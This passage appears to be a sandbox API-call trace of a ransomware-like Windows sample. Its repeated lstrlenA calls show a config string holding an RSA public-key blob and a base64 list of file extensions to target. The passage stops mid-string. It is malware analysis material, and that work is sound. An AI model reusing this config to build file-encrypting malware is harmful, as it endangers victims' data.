(lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBi